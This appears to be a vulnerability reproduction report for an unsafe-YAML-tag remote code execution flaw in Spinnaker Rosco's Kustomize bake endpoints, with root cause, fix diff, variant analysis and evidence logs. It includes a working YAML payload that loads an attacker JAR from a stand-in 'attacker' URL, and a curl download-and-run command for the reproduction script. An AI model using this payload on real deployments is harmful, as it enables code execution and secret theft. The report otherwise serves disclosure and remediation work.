CVE-2026-55175: Verified Repro With Script Download
CVE-2026-55175: Spinnaker Kustomize bake unsafe YAML tag processing leading to RCE
CVE-2026-55175 is verified against spinnaker/spinnaker · github. Affected versions: <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00289.
What Is CVE-2026-55175?
CVE-2026-55175 is a high-severity remote code execution vulnerability in Spinnaker's Rosco service via unsafe YAML tag processing during Kustomize manifest bakes. A remote Kustomize bake request can run attacker-controlled Java code on Rosco pods. Pruva reproduced it (reproduction REPRO-2026-00289).
CVE-2026-55175 Severity & CVSS Score
CVE-2026-55175 is rated high severity, with a CVSS base score of 7.5 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
Affected spinnaker/spinnaker Versions
spinnaker/spinnaker · github versions <2026.1.1, <2026.0.3, <2025.4.4, <2025.3.4 are affected.
How to Reproduce CVE-2026-55175
pruva-verify REPRO-2026-00289 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00289/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-55175
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
malicious kustomization.yaml served as Rosco Kustomize bake input artifact
- POST /api/v2/manifest/bake/KUSTOMIZE
- KustomizationFileReader.convert
reproduction_steps.sh KUSTOMIZE4 sibling bake endpoint (POST /api/v2/manifest/bake/KUSTOMIZE4) is an alternate entry point to the same KustomizationFileReader.convert() unsafe-YAML-tag sink. Reproduced RCE on the vulnerable version; the SafeConstructor fix covers this path (no bypass).
How the agent worked
Root Cause and Exploit Chain for CVE-2026-55175
CVE-2026-55175 is an unsafe YAML tag processing vulnerability in Spinnaker Rosco's Kustomize manifest bake path. In vulnerable Rosco builds, a remote Kustomize bake request sent to POST /api/v2/manifest/bake/KUSTOMIZE causes Rosco to fetch an attacker-controlled kustomization.yaml artifact from Clouddriver and parse it with SnakeYAML's general Constructor(Kustomization.class). That constructor honors arbitrary YAML tags, allowing attacker-controlled Java object construction during YAML deserialization. The reproduction demonstrates this by loading a !!javax.script.ScriptEngineManager payload from an attacker-controlled URLClassLoader and writing an execution marker from the Rosco JVM, proving remote code execution.
- Package/component affected: Spinnaker Rosco, specifically
io.spinnaker.rosco:rosco-manifestsand the Kustomize manifest bake flow exposed throughrosco-web. - Affected versions: Advisory-listed affected ranges are Spinnaker/Rosco versions prior to
2026.1.1,2026.0.3,2025.4.4, and2025.3.4on their respective release lines. The reproduction anchors the vulnerable build tof5cec213f8cf207843ed5a6929395960a1ca094f^(d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3) and the fixed build tof5cec213f8cf207843ed5a6929395960a1ca094f. - Risk level and consequences: High. An authenticated/authorized actor able to perform Kustomize bakes can cause code to execute inside Rosco pods. This can compromise the Rosco service account context, secrets reachable by the Rosco pod, and the integrity of generated deployment manifests.
Impact Parity
- Disclosed/claimed maximum impact: Remote code execution on Rosco pods during Kustomize bake operations.
- Reproduced impact from this run: Code execution in the Rosco JVM after an HTTP request to the real Rosco Kustomize bake endpoint. The payload is an attacker-controlled
ScriptEngineFactoryloaded from a URL in an unsafe YAML tag; its constructor writes a marker file proving execution. - Parity:
full - Not demonstrated: N/A — the full RCE chain was demonstrated end-to-end through the real HTTP endpoint.
Root Cause
The vulnerable code in KustomizationFileReader.convert() uses SnakeYAML's Constructor(Kustomization.class) which extends SafeConstructor but overrides getClassForName() to allow instantiation of arbitrary Java classes via YAML tags. When processing an attacker-controlled kustomization.yaml fetched from Clouddriver, the YAML content:
resources:
- !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/payload.jar"]]]]
causes SnakeYAML to:
- Create a
java.net.URLpointing to the attacker's payload JAR - Create a
java.net.URLClassLoaderloading from that URL - Construct a
javax.script.ScriptEngineManagerwhich scans the classloader'sMETA-INF/services/javax.script.ScriptEngineFactoryentries - Instantiate the attacker's
ScriptEngineFactoryimplementation, executing arbitrary code in the constructor
The fix (commit f5cec213f8cf207843ed5a6929395960a1ca094f) replaces Constructor with SafeConstructor which only produces standard types (Map, List, String), then uses Jackson ObjectMapper.convertValue() to map the safe raw map to the Kustomization POJO. SafeConstructor does not honor arbitrary YAML tags, preventing the object instantiation attack.
Fix commit: f5cec213f8cf207843ed5a6929395960a1ca094f
Key diff:
- Representer representer = new Representer();
- representer.getPropertyUtils().setSkipMissingProperties(true);
- return new Yaml(new Constructor(Kustomization.class), representer).load(downloadFile(artifact));
+ Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
+ Map<String, Object> rawMap = yaml.load(downloadFile(artifact));
+ return objectMapper.convertValue(rawMap, Kustomization.class);
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh - What the script does:
- Installs OpenJDK 17 if not present
- Reuses the prepared Spinnaker repository from the project cache (or clones from GitHub/mirror)
- Checks out the vulnerable commit (
d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3, parent of the fix) - Writes a Spring Boot integration test (
CVE202655175ApiRemoteReproTest.java) that:- Starts a real Rosco Spring Boot HTTP server on a random port via
@SpringBootTest(webEnvironment = RANDOM_PORT) - Stands up a WireMock Clouddriver peer that serves a malicious
kustomization.yamlwith!!javax.script.ScriptEngineManagerYAML tag - Builds a payload JAR containing a
ScriptEngineFactorythat writes a marker file on instantiation - Sends a real HTTP POST to
http://127.0.0.1:<port>/api/v2/manifest/bake/KUSTOMIZEwith a Kustomize bake request referencing the attacker artifact - Asserts that the payload marker file was created (proving code execution in the Rosco JVM)
- Starts a real Rosco Spring Boot HTTP server on a random port via
- Runs the test twice on the vulnerable commit (expecting
payloadExecuted=true) - Checks out the fixed commit and runs the test twice (expecting
payloadExecuted=falseand HTTP error status) - Verifies all four evidence markers match expectations
- Expected evidence:
- Vulnerable attempts:
clouddriverReached=true,payloadExecuted=true(RCE confirmed) - Fixed attempts:
clouddriverReached=true,payloadExecuted=false, HTTP status >= 400 (fix confirmed)
- Vulnerable attempts:
Evidence
- Log files:
bundle/logs/reproduction_steps.log— full script outputbundle/logs/vulnerable_attempt_1.log— first vulnerable Gradle test runbundle/logs/vulnerable_attempt_2.log— second vulnerable Gradle test runbundle/logs/fixed_attempt_1.log— first fixed Gradle test runbundle/logs/fixed_attempt_2.log— second fixed Gradle test run
- Evidence markers:
bundle/repro/vulnerable_attempt_1.evidence.txtbundle/repro/vulnerable_attempt_2.evidence.txtbundle/repro/fixed_attempt_1.evidence.txtbundle/repro/fixed_attempt_2.evidence.txt
- Key evidence excerpts (from vulnerable runs):
mode=vulnerable clouddriverReached=true payloadExecuted=true - Key evidence excerpts (from fixed runs):
mode=fixed clouddriverReached=true payloadExecuted=false - Environment: OpenJDK 17, Gradle 7.6.1, Spinnaker monorepo at vulnerable/fixed commits, Spring Boot test HTTP server, WireMock Clouddriver artifact peer
Recommendations / Next Steps
- Upgrade guidance: Upgrade Spinnaker/Rosco to version
2026.1.1,2026.0.3,2025.4.4, or2025.3.4or later, which contain theSafeConstructorfix. - Suggested fix approach: The applied fix is correct — replacing
ConstructorwithSafeConstructorand using Jackson for POJO mapping. Additionally, consider enabling SnakeYAML'sLoaderOptions.setAllowDuplicateKeys(false)and limiting tag processing viasetAllowRecursiveKeys(false)as defense-in-depth. - Testing recommendations: Add integration tests that send malicious YAML tags through the Kustomize bake endpoint to verify they are rejected. Consider adding SnakeYAML SafeConstructor usage as a code style requirement across all YAML parsing in Spinnaker services.
Additional Notes
- Idempotency: The script is idempotent — it checks out specific commits, writes fresh test files, and cleans up evidence markers before each attempt. Running it multiple times produces the same results.
- Surface validation: The reproduction exercises the real
api_remotesurface — a real Spring Boot HTTP endpoint accepting a real POST request to/api/v2/manifest/bake/KUSTOMIZE, with the Rosco service fetching the malicious artifact from a mock Clouddriver peer. This is the production path, not a library-level harness. - Negative control: The fixed commit (
f5cec213f8cf207843ed5a6929395960a1ca094f) is tested with the same payload and correctly rejects the unsafe YAML tag without executing the payload, confirming the fix.
Variant Analysis & Alternative Triggers for CVE-2026-55175
CVE-2026-55175 is an unsafe YAML tag processing RCE in Spinnaker Rosco's Kustomize bake path.
The original reproduction proved RCE via POST /api/v2/manifest/bake/KUSTOMIZE. This variant
analysis evaluated the sibling entry point POST /api/v2/manifest/bake/KUSTOMIZE4, which is
dispatched by the same V2BakeryController to KustomizeBakeManifestService (its handles() set
accepts both KUSTOMIZE and KUSTOMIZE4) and reaches the same sink
KustomizationFileReader.convert(). The KUSTOMIZE4 variant was confirmed as a real alternate
trigger of the same root cause on the vulnerable build (payloadExecuted=true), and was confirmed
blocked by the existing SafeConstructor fix on the fixed build (payloadExecuted=false,
HTTP 400). No bypass was found. The fix addresses the root cause at the shared sink, so it
covers both the KUSTOMIZE and KUSTOMIZE4 dispatch paths.
Fix Coverage / Assumptions
- Invariant the fix relies on: all attacker-controlled
kustomization.yamlparsing flows through a single sink,KustomizationFileReader.convert(), which the fix rewrites to useSafeConstructor+ JacksonObjectMapper.convertValue()instead ofConstructor(Kustomization.class). - Code paths explicitly covered:
POST /api/v2/manifest/bake/KUSTOMIZE,POST /api/v2/manifest/bake/KUSTOMIZE4, and the recursive nested-kustomization path inKustomizeTemplateUtils.getFilesFromArtifact(each nested file is parsed viagetKustomization→convert()). - What the fix does NOT cover: the
git/repoartifact bake path (KustomizeTemplateUtils.buildBakeRecipeFromGitRepo) does not invokekustomizationFileReader.getKustomization()at all — it downloads a tarball and runs thekustomizebinary. There is no Java SnakeYAML sink on that path, so it is not a gap for the YAML-tag RCE class. No otherConstructor(<class>)usage exists inrosco-manifests(CloudFoundryBakeManifestServiceusesnew Yaml(), i.e. the defaultSafeConstructor).
Variant / Alternate Trigger
Entry point: POST /api/v2/manifest/bake/KUSTOMIZE4 with request body
{"templateRenderer":"KUSTOMIZE4", "inputArtifact":{"type":"github/file", ...}}.
Code path:
V2BakeryController.doBake("KUSTOMIZE4", request)—rosco-web/.../V2BakeryController.javaKustomizeBakeManifestService.handles("KUSTOMIZE4")→ true (supportedTemplates ={KUSTOMIZE, KUSTOMIZE4})KustomizeBakeManifestService.bake(...)→KustomizeTemplateUtils.buildBakeRecipe(...)oldBuildBakeRecipe(artifact typegithub/file, notgit/repo) →getArtifacts→getFilesFromArtifactKustomizationFileReader.getKustomization(...)→convert(artifact)— shared sink- Vulnerable:
new Yaml(new Constructor(Kustomization.class), representer).load(...)→!!javax.script.ScriptEngineManagertag honored →ScriptEngineFactoryloaded from attacker URLClassLoader → constructor runs → RCE. Fixed:new Yaml(new SafeConstructor(...)).load(...)rejects the tag →convertValuenever sees it → HTTP 400.
This is materially different from the parent only in the entry point (different {type} path
variable and templateRenderer value); it reaches the identical sink and crosses the same trust
boundary (authenticated API caller → Rosco pod). Because the fix is applied at the shared sink, it
is not a bypass.
Other candidates considered and ruled out
| Candidate | Reaches SnakeYAML sink? | Same root cause? | Verdict |
|---|---|---|---|
| KUSTOMIZE4 endpoint | Yes, same convert() |
Yes | Alternate trigger; covered by fix (tested). |
Recursive nested kustomization refs (resources → subfolder) |
Yes, same convert() per nested file |
Yes | Alternate data path; covered by fix (same sink). |
git/repo artifact bake |
No (no getKustomization call) |
No | Out of scope for YAML-tag RCE class. |
CloudFoundryBakeManifestService new Yaml().load() |
Uses default SafeConstructor |
No | Safe by default; not the same root cause. |
Jackson convertValue polymorphic instantiation |
ObjectMapper has default typing off; Kustomization has no @JsonTypeInfo |
No | Not exploitable. |
- Package/component affected: Spinnaker Rosco —
io.spinnaker.rosco:rosco-manifests/rosco-web, Kustomize bake flow. - Affected versions (as tested): vulnerable
d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3(parent of fix); fixedf5cec213f8cf207843ed5a6929395960a1ca094f. Advisory-listed affected ranges: prior to 2026.1.1 / 2026.0.3 / 2025.4.4 / 2025.3.4. - Risk level: High — authenticated actor able to perform Kustomize/KUSTOMIZE4 bakes can execute arbitrary code inside Rosco pods on vulnerable builds.
Impact Parity
- Disclosed/claimed maximum impact: RCE on Rosco pods during Kustomize bake operations.
- Reproduced impact from this variant run: On the vulnerable build, the KUSTOMIZE4
endpoint instantiated the attacker
ScriptEngineFactoryfrom a URLClassLoader and its constructor executed (marker file written), proving RCE via the alternate entry point (payloadExecuted=true, HTTP 500ClassCastExceptionafter the payload ran). On the fixed build the same payload was rejected without execution (payloadExecuted=false, HTTP 400). - Parity:
fullfor the alternate-trigger demonstration on the vulnerable version;nonefor bypass (the fixed version blocks it). - Not demonstrated: A bypass of the fix — the fix covers the KUSTOMIZE4 path.
Root Cause
The underlying bug is that untrusted kustomization.yaml was parsed with SnakeYAML's general
Constructor(Kustomization.class), which honors arbitrary YAML tags and instantiates the
referenced Java objects. KUSTOMIZE and KUSTOMIZE4 are two HTTP dispatch labels for the same
KustomizeBakeManifestService; both converge on KustomizationFileReader.convert(). The fix
(commit f5cec213f8cf207843ed5a6929395960a1ca094f) replaces the unsafe Constructor with
SafeConstructor and maps the safe Map to the POJO via Jackson convertValue. Because the fix
is at the shared sink, every entry point that reaches convert() — including KUSTOMIZE4 — is
protected.
Reproduction Steps
- Script:
bundle/vuln_variant/reproduction_steps.sh - What the script does:
- Reuses the prepared Spinnaker repository from the project cache.
- Resolves the vulnerable parent commit
d7d131a1b1fcb831256034f1e8d023f6e9dc4fc3and the fixed commitf5cec213f8cf207843ed5a6929395960a1ca094f. - Writes a Spring Boot integration test
CVE202655175VariantKustomize4Test.javathat starts a real Rosco HTTP server, stands up a WireMock Clouddriver peer serving a maliciouskustomization.yamlwith a!!javax.script.ScriptEngineManagertag, builds a payload JAR whoseScriptEngineFactoryconstructor writes a marker file, and sends a real HTTP POST to/api/v2/manifest/bake/KUSTOMIZE4withtemplateRenderer=KUSTOMIZE4. - Runs the test on the vulnerable commit (expects
payloadExecuted=true), then on the fixed commit (expectspayloadExecuted=false, HTTP 400). - Restores the repository to its original HEAD and removes the temporary test file.
- Exit 0 = bypass (variant reproduces on fixed); Exit 1 = no bypass.
- Expected evidence:
bundle/vuln_variant/vulnerable_attempt_1.evidence.txt:payloadExecuted=true,clouddriverReached=true, HTTP 500ClassCastException.bundle/vuln_variant/fixed_attempt_1.evidence.txt:payloadExecuted=false,clouddriverReached=true, HTTP 400.bundle/vuln_variant/validation_verdict.json:is_bypass=false,reproduced_on_vulnerable=true,reproduced_on_fixed=false.
Evidence
Logs:
bundle/logs/vuln_variant/reproduction_steps.log,bundle/logs/vuln_variant/vulnerable_attempt_1.log,bundle/logs/vuln_variant/fixed_attempt_1.log.Evidence files:
bundle/vuln_variant/vulnerable_attempt_1.evidence.txt,bundle/vuln_variant/fixed_attempt_1.evidence.txt(and.payloadmarker).Key excerpts:
Vulnerable (KUSTOMIZE4):
mode=vulnerable renderer=KUSTOMIZE4 endpoint=/api/v2/manifest/bake/KUSTOMIZE4 status=500 clouddriverReached=true payloadExecuted=true body=...java.lang.ClassCastException: class javax.script.ScriptEngineManager cannot be cast to class java.lang.String...Fixed (KUSTOMIZE4):
mode=fixed renderer=KUSTOMIZE4 endpoint=/api/v2/manifest/bake/KUSTOMIZE4 status=400 clouddriverReached=true payloadExecuted=false body=...Unable to find any kustomization file for root...Environment: OpenJDK 17.0.19, Gradle 7.6.1 (
--no-daemon --max-workers=2 --rerun-tasks), Spring Boot test RANDOM_PORT, WireMock Clouddriver peer.Tested source identity:
bundle/vuln_variant/source_identity.json(fixed commitf5cec213f8cf207843ed5a6929395960a1ca094f, vulnerabled7d131a1b1fcb831256034f1e8d023f6e9dc4fc3).
Recommendations / Next Steps
- No code change required. The existing
SafeConstructorfix already covers the KUSTOMIZE4 dispatch path because the fix is at the sharedKustomizationFileReader.convert()sink. - Defense in depth (optional): Add an explicit regression test asserting that the
KUSTOMIZE4endpoint rejects a!!-taggedkustomization.yaml(the existingKustomizeSafeConstructorTestcoversconvert()directly but not the KUSTOMIZE4 HTTP dispatch). This variant test (CVE202655175VariantKustomize4Test) can serve as that regression. - Ensure future bake renderers that parse untrusted YAML reuse the SafeConstructor pattern
rather than
Constructor(<class>), and avoid introducing@JsonTypeInfo/default typing onObjectMapperinstances used to map untrusted maps.
Additional Notes
- Idempotency: The script was run twice; both runs produced identical evidence
(vulnerable
payloadExecuted=true, fixedpayloadExecuted=false, exit 1) and restored the repository to its original HEAD (f5cec213f8cf207843ed5a6929395960a1ca094f) with the temporary test file removed. - Repo state: No checkout state was left changed; the shared project-cache repo is back on the fixed commit, matching the state used by the repro stage.
- Trust boundary: The KUSTOMIZE4 endpoint is an authenticated HTTP API on the Rosco pod; an
authorized caller supplying a
github/fileinput artifact crosses the network trust boundary into the Rosco JVM. NoSECURITY.mdexcluding this attack class was found in the repository. - Limitation: Only the KUSTOMIZE4 alternate entry point was exercised at runtime. The
recursive-nested-kustomization and
CloudFoundryBakeManifestServicecandidates were ruled out by source inspection (same shared sink / safe-by-default) as documented above; additional runtime attempts would re-exercise the identicalconvert()sink and not change the verdict.
CVE-2026-55175 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired. Phases: support · claim contract · reproduction · judge · variant analysis
Full session Replay every step — scrub the timeline or play it back.
Unknown error
Artifacts and Evidence for CVE-2026-55175
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-55175
FAQ: CVE-2026-55175
How was CVE-2026-55175 proven to reach code execution?
Which Spinnaker versions are affected by CVE-2026-55175?
How severe is CVE-2026-55175?
How can I reproduce CVE-2026-55175?
References for CVE-2026-55175
Authoritative sources for CVE-2026-55175 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.